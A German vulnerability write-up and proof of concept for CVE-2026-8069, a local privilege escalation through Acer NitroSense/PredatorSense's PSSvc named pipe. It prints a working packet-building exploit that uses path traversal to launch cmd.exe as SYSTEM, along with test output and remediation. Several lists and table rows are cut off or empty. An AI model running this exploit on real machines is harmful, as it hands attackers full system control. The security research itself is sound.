
Technischer Bericht und Proof-of-Concept für CVE-2026-8069, eine lokale Privilegieneskalation in den Diensten Acer NitroSense und PredatorSense, die eine benannte Pipe ausnutzt, um beliebigen Code als SYSTEM auszuführen.
Acer NitroSense und PredatorSense 3.x installierten einen Windows-Dienst namens PSSvc, der ein benutzerdefiniertes Named-Pipe-Protokoll für lokale Benutzer bereitstellte. Ein Protokollbefehl akzeptierte einen vom Aufrufer kontrollierten ausführbaren Pfad, duplizierte das Token von winlogon.exe und startete diese ausführbare Datei als NT AUTHORITY\SYSTEM.
Die Pfadeinschränkung im verwundbaren Dienst war ein Substring-Test. Ein Pfad, der innerhalb des Dienstverzeichnisses begann und dann ..\-Komponenten verwendete, bestand den Test, löste aber an anderer Stelle auf. In Kombination mit der permissiven Zugriffskontrolle der Pipe und dem Fehlen einer Aufrufer-Autorisierung ermöglichte dies einem normalen lokalen Benutzer, einen SYSTEM-Prozess zu erhalten.
Acer vergab CVE-2026-8069, veröffentlichte korrigierte Versionen und würdigte Artem Domarev von der Universität Hradec Králové in seiner Sicherheitsempfehlung.
Dieser Artikel konzentriert sich auf den Prozesserstellungs-/LPE-Pfad. Acers Empfehlung beschreibt auch das Löschen beliebiger Dateien, das außerhalb des Rahmens dieser Validierung lag.
Die Wahl der Forschungsrichtung wurde auch durch eine öffentliche Analyse von OEM-Software beeinflusst, die von Leon Jacobs von SensePost veröffentlicht wurde. Diese Arbeit dokumentierte Schwachstellen in ASUS DriverHub, MSI Center, Acer Control Centre und Razer Synapse 4 (Jacobs, 2025). Sie untermauerte die Idee, dass vom Hersteller gelieferte Hardware-Dienstprogramme eine bedeutende und wenig erforschte Angriffsfläche darstellen können. Anstatt Acer Control Centre erneut zu untersuchen, erweiterte ich die Untersuchung auf eine andere Acer-Produktfamilie: NitroSense und PredatorSense.
Die Ausbeutungskette ist kurz:
authentifizierter lokaler Benutzer
│
▼
permissive PSSvc Named Pipe
│ benutzerdefinierter Befehl 0x0007
▼
nur-Substring-Pfadprüfung
│ service-dir\..\..\..\Windows\System32\cmd.exe
▼
Duplizieren des winlogon.exe-Tokens der aktiven Sitzung
│
▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM
Es gibt eine Inkonsistenz in der öffentlichen Formulierung. Acers Seite besagt, dass NitroSense-Versionen „vor 3.01.3052" betroffen sind, doch die vom Hersteller signierte PSSvc.exe-Version 3.1.3052.0, die für diesen Artikel getestet wurde, ist nachweislich verwundbar. Dieselbe Seite identifiziert NitroSense 3.01.3056 als korrigierte Version. Der NVD-Anwendbarkeitsbereich erstreckt sich ebenfalls bis einschließlich, aber nicht einschließlich 3.01.3056.
Für PredatorSense endet Acers Satz zu betroffenen Versionen vor 3.00.3196, während die aufgeführte korrigierte Version 3.00.3198 ist und NVD letztere als obere Grenze verwendet.
Die konservative operative Regel ist daher einfach: Verwenden Sie den mehrdeutigen Satz zu „betroffenen" Versionen nicht als Patch-Prüfung. Aktualisieren Sie mindestens auf die von Acer genannten korrigierten Versionen — PredatorSense 3.00.3198 oder NitroSense 3.01.3056 — oder ein neueres modellkompatibles Paket.
Das Problem wurde mit dem ursprünglichen NitroSense-Paket reproduziert.
Die Authenticode-Signatur der PSSvc.exe wurde erfolgreich validiert und führte zu Acer Incorporated. Das MSI installierte PSSvc als bedarfsgestarteten Dienst mit eigenem Prozess, der als LocalSystem läuft.
Das NitroSense-Paket installiert:
SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE: WIN32_OWN_PROCESS
START_TYPE: DEMAND_START
ACCOUNT: LocalSystem
Ein SYSTEM-Dienst ist nicht automatisch verwundbar. Die wichtige Frage ist, ob ein Prozess mit geringeren Rechten Funktionen erreichen kann, die unter der Annahme entworfen wurden, dass ihr Aufrufer vertrauenswürdig ist.
Die String-Analyse legte sofort den IPC-Endpunkt offen:
\\.\pipe\predatorsense_service_namedpipe
Bei 0x140014AD0 erstellt der Dienst die Pipe und übergibt eine explizite Sicherheitsbeschreibung an CreateNamedPipeW:
D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)
Dies ist eine wichtige explizite Korrektur: Der verwundbare Build übergibt keine NULL-Beschreibung. Er erstellt eine permissive DACL.
Die AU-ACE reicht aus, damit ein normaler authentifizierter Benutzer die Pipe zum Lesen und Schreiben öffnen kann. Der Server führt dann keine Client-Impersonalisierung durch und trifft keine Autorisierungsentscheidung, bevor er privilegierte Befehle verteilt.
Der Client-Thread bei 0x14000ABB0 liest Nachrichten in einen 512-Byte-Puffer. Er parst die ersten drei Bytes als 16-Bit-Befehlsnummer und 8-Bit-Argumentanzahl. Jedes Argument ist längenpräfixiert:
Offset Größe Bedeutung
0x00 2 Befehls-ID, Little-Endian
0x02 1 Anzahl der Argumente
0x03 4 Länge von Argument 0
0x07 n Bytes von Argument 0
... wiederholte DWORD-Länge + Wert
String-Argumente sind UTF-16LE. Integer-Argumente sind Little-Endian-DWORDs. Der Dispatcher akzeptiert Befehls-IDs unterhalb von 0x23 und verwendet sie als Indizes in eine 35 Einträge umfassende Funktionstabelle bei 0x140052C90.
Der Eintrag für Befehl 0x0007 zeigt auf 0x14000BFD0.
Auf sein sicherheitsrelevantes Verhalten reduziert, sieht der Handler wie folgt aus:
int command_07(parsed_arguments *args)
{
wchar_t service_directory[MAX_PATH];
wchar_t *requested_path = args->wide_string[0];
uint32_t mode = args->dword[1];
GetModuleFileNameW(NULL, service_directory, MAX_PATH);
PathRemoveFileSpecW(service_directory);
if (wcsstr(requested_path, service_directory) != NULL)
return launch_with_selected_token(requested_path, mode);
return 0;
}
wcsstr beantwortet nur, ob eine Zeichenkette in einer anderen vorkommt. Es kanonisiert keinen Pfad, löst keine Punktsegmente auf, öffnet keine Datei und beweist nicht, dass das endgültige Objekt unter einem vertrauenswürdigen Verzeichnis bleibt.
Angenommen, der Dienst ist installiert in:
C:\Program Files\Acer\NitroSense_Service
Der folgende Pfad enthält dieses Verzeichnis an Offset Null, sodass wcsstr erfolgreich ist:
C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe
Windows löst die Punktsegmente auf zu:
C:\WINDOWS\System32\cmd.exe
Das ist ein klassischer Kanonisierungsfehler: Die Validierung wird an einer Textdarstellung durchgeführt, während die sensible Operation ihre normalisierte Bedeutung konsumiert.
Der Prozessstart-Helfer bei 0x1400091F0 hat einen speziellen Zweig, wenn das zweite Argument 0x72 (dezimal 114) ist. Er:
CreateToolhelp32Snapshot auf;winlogon.exe in der aktiven Sitzung;winsta0\default.Die kritischen Aufrufstellen im getesteten Binärprogramm waren:
Das bedeutet, Befehl 0x0007 bittet einen Dienst nicht nur darum, eines seiner eigenen vertrauenswürdigen Tools zu starten. Er legt einen allgemeinen SYSTEM-Token-Prozessstarter für eine Pipe offen, auf die normale Benutzer zugreifen können.
Der wesentliche Paket-Builder ist klein:
import struct
def build_packet(command_id, *arguments):
packet = struct.pack("<HB", command_id, len(arguments))
for argument in arguments:
if isinstance(argument, str):
argument = argument.encode("utf-16-le")
elif isinstance(argument, int):
argument = struct.pack("<I", argument)
packet += struct.pack("<I", len(argument)) + argument
return packet
service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"
# Der Handler erwartet den Pfad, den Token-Modus und acht zusätzliche Slots.
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))
Das vollständige Validierungsskript öffnet die Pipe mit CreateFileW, setzt den Nachrichtenmodus, sendet dieses Paket und dekodiert die Antwort des Dienstes. Es ermittelt den installierten Dienstpfad, anstatt ihn fest zu codieren, und prüft das normalisierte Ziel, bevor es etwas sendet.
Das vollständige Skript, das für diesen Artikel verwendet wurde, ist als acer_cve_2026_8069_poc.py verfügbar.
Das Setup.exe des Herstellers führt Hardwareprüfungen durch und liefert private MSI-Eigenschaften. Ich extrahierte NitroSense.msi und stellte diese Eigenschaften aus dem .NET-Bootstrapper wieder her:
$arguments = @(
'/i', 'C:\Lab\NitroSense.msi',
'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
'GPRODUCTNAME=NitroSense_Service',
'/qn', '/norestart',
'/l*v', 'C:\Lab\install.log'
)
Start-Process msiexec.exe -ArgumentList $arguments -Wait
Diese Eigenschaften reproduzieren den Installationspfad des Bootstrappers auf Hardware, die seine Umgebungsprüfungen nicht besteht.
Nach der Installation überprüfte ich die Dateiversion, SHA-256 und Signatur und startete dann den bedarfsgestarteten Dienst:
sc.exe qc PSSvc
sc.exe start PSSvc
Die Anfrage wurde von einem normalen, nicht-administrativen lokalen Konto gesendet, das mit mittlerer Integrität läuft.
Von diesem Konto aus:
py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe
Der Dienst gab zurück:
[PASS] Connected
[INFO] Sending CMD 0x0007: path='cmd.exe', mode=0x72
Packet size: 227 bytes
Raw response: 010400000001000000
Return code: 1
[CRITICAL] PROCESS CREATED SUCCESSFULLY
Die Erfolgsmeldung des PoC ist für sich genommen nicht der Beweis. Ich fragte den resultierenden Prozess unabhängig über einen administrativen Beweiskanal ab:
Parent : PSSvc.exe
Session : Interactive
Owner : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"
Die SYSTEM-Shell war ein direktes Kind von PSSvc.exe in der interaktiven Sitzung, wobei der Traversal-Pfad in ihrer Befehlszeile erhalten blieb.
Ich verfolgte auch die Dienst-APIs während der erfolgreichen Anfrage. Die Ablaufverfolgung zeichnete aktive Sitzung 1, ein erfolgreiches WTSQueryUserToken, eine Prozess-Snapshot, ein OpenProcess für das winlogon.exe der Sitzung, erfolgreiches DuplicateTokenEx, Integritäts-Token-Modifikation und eine Erfolgsrückgabe vom Prozessstart-Helfer auf.


Dies war kein einzelner isolierter schlechter Vergleich. Die Ausbeutung erforderte, dass mehrere Vertrauensfehler zusammenkamen:
wcsstr statt mit kanonischer Pfadvalidierung implementiert.winlogon.exe-Token duplizierte.Das Entfernen eines einzigen der letzten vier Glieder hätte diesen LPE-Pfad verhindert. Defense in Depth sollte alle entfernen.
Acers unterstützte Abhilfe besteht darin, auf PredatorSense 3.00.3198, NitroSense 3.01.3056 oder neuer zu aktualisieren. Verwenden Sie das Paket, das Acer für die Seriennummer oder SNID des Geräts anbietet, wie in der Hersteller-Empfehlung beschrieben.
Für Entwickler privilegierter Windows-Dienste sind die allgemeineren Lehren:
| Datum | Ereignis |
|---|---|
| 2026-02-19 | Schwachstellenbericht erstellt und an Acer übermittelt. |
| 2026-05-08 | CVE-2026-8069 im CVE/NVD-Ökosystem veröffentlicht. |
| 2026 | Acer veröffentlichte seine Empfehlung, würdigte den Forscher und nannte korrigierte PredatorSense- und NitroSense-Versionen. |
| 2026-08-28 |
Lokale Named Pipes werden leicht mit vertrauenswürdigen Grenzen verwechselt. Sie sind nur Transportmechanismen. Wenn ein SYSTEM-Dienst einen Befehlsdispatcher bereitstellt, werden seine Pipe-ACL, Aufrufer-Autorisierung, Argumentvalidierung und privilegierte Implementierung alle Teil der Sicherheitsgrenze.
Hier erreichte eine permissive Pipe eine Token-Duplikationsroutine, und eine Substring-Prüfung versuchte, Pfad-Eindämmung zu ersetzen. Das Ergebnis war ein zuverlässiger Übergang von einem normalen lokalen Benutzer zu NT AUTHORITY\SYSTEM.
Der Bericht und die ursprünglichen Forschungsmedien sind unter Creative Commons Attribution 4.0 International lizenziert. Der PoC-Quellcode ist unter der MIT-Lizenz lizenziert. Siehe LICENSE.md für Umfang und Ausschlüsse Dritter.
| Element | Ergebnis |
|---|
| CVE | CVE-2026-8069 |
| Getestete verwundbare Komponente | PSSvc.exe 3.1.3052.0, signiert von Acer Incorporated |
| Dienstidentität | LocalSystem |
| IPC-Endpunkt | \\.\pipe\predatorsense_service_namedpipe |
| Verwundbarer Befehl | 0x0007 |
| Erforderlicher Angreiferzugriff | Authentifizierter lokaler Benutzer, der ein Programm ausführen kann |
| Benutzerinteraktion | Keine |
| Ergebnis | Beliebige ausführbare Datei gestartet als NT AUTHORITY\SYSTEM |
| NVD CVSS v3.1 | 7.8 Hoch — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Korrigierte Versionen | PredatorSense 3.00.3198; NitroSense 3.01.3056 |
| Artefakt | SHA-256 |
|---|
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip | 947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157 |
NitroSense.msi | 6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C |
Installierte PSSvc.exe 3.1.3052.0 | 3BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40 |
| Für die Validierung verwendeter PoC | 31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163 |
| SID-Abkürzung | Prinzipal | Effektive Berechtigung in der SDDL |
|---|
BG | Integrierte Gäste | Generische Alle |
AN | Anonym | Generische Alle verweigert |
AU | Authentifizierte Benutzer | Generisches Lesen, Schreiben und Ausführen |
BA | Integrierte Administratoren | Generische Alle |
| Operation | Adresse |
|---|
CreateToolhelp32Snapshot | 0x140009298 |
OpenProcessToken | 0x140009346 |
DuplicateTokenEx | 0x1400093B0 |
CreateProcessAsUserW | 0x1400094BF / 0x1400094C7 |
| Unabhängige Reproduktion für diesen Bericht abgeschlossen. |